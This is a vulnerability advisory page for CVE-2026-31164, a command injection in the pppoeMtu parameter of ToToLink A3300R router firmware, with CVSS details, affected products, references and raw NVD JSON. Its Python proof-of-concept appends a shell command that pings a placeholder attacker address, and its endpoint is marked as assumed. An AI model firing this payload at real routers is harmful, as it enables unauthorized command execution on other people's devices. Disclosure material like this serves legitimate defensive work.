CVE-2026-31164

Description

An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557_B20221024 allowing attackers to execute arbitrary commands via the pppoeMtu parameter to /cgi-bin/cstecgi.cgi.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:totolink:a3300r_firmware:17.0.0cu.557_b20221024:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:* - NOT VULNERABLE

ToToLink A3300R v17.0.0cu.557_B20221024

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL
url = "http://<target_ip>/cgi-bin/cstecgi.cgi"

# Vulnerable parameter and payload
# Example payload: injecting a simple shell command to ping back
command = "ping -c 1 <attacker_ip>"
payload = f"; {command}"

data = {
    "topicurl": "setWanPPPoE",  # Assumed endpoint based on parameter context
    "pppoeMtu": "1490" + payload
}

try:
    response = requests.post(url, data=data)
    print(f"Status Code: {response.status_code}")
    print("Response:", response.text)
except Exception as e:
    print(f"An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31164
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31164
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31164/
[4] VulDB https://vuldb.com/cve/CVE-2026-31164
[5] https://github.com/Svigo-o/TOTOLINK-Vul/tree/main/totolink-a3300r-pppoe-mtu-cmd-injection
[6] https://github.com/Svigo-o/TOTOLINK-Vul/tree/main/totolink-a3300r-pppoe-mtu-cmd-injection

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31164", "sourceIdentifier": "[email protected]", "published": "2026-04-23T18:16:24.310", "lastModified": "2026-04-24T15:13:03.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557_B20221024 allowing attackers to execute arbitrary commands via the pppoeMtu parameter to /cgi-bin/cstecgi.cgi."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:a3300r_firmware:17.0.0cu.557_b20221024:*:*:*:*:*:*:*", "matchCriteriaId": "DD39B647-3419-4C6D-A6A2-30F40822A27D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F723A73-4B32-4F9E-B5DA-80134D4711C1"}]}]}], "references": [{"url": "https://github.com/Svigo-o/TOTOLINK-Vul/tree/main/totolink-a3300r-pppoe-mtu-cmd-injection", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/Svigo-o/TOTOLINK-Vul/tree/main/totolink-a3300r-pppoe-mtu-cmd-injection", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}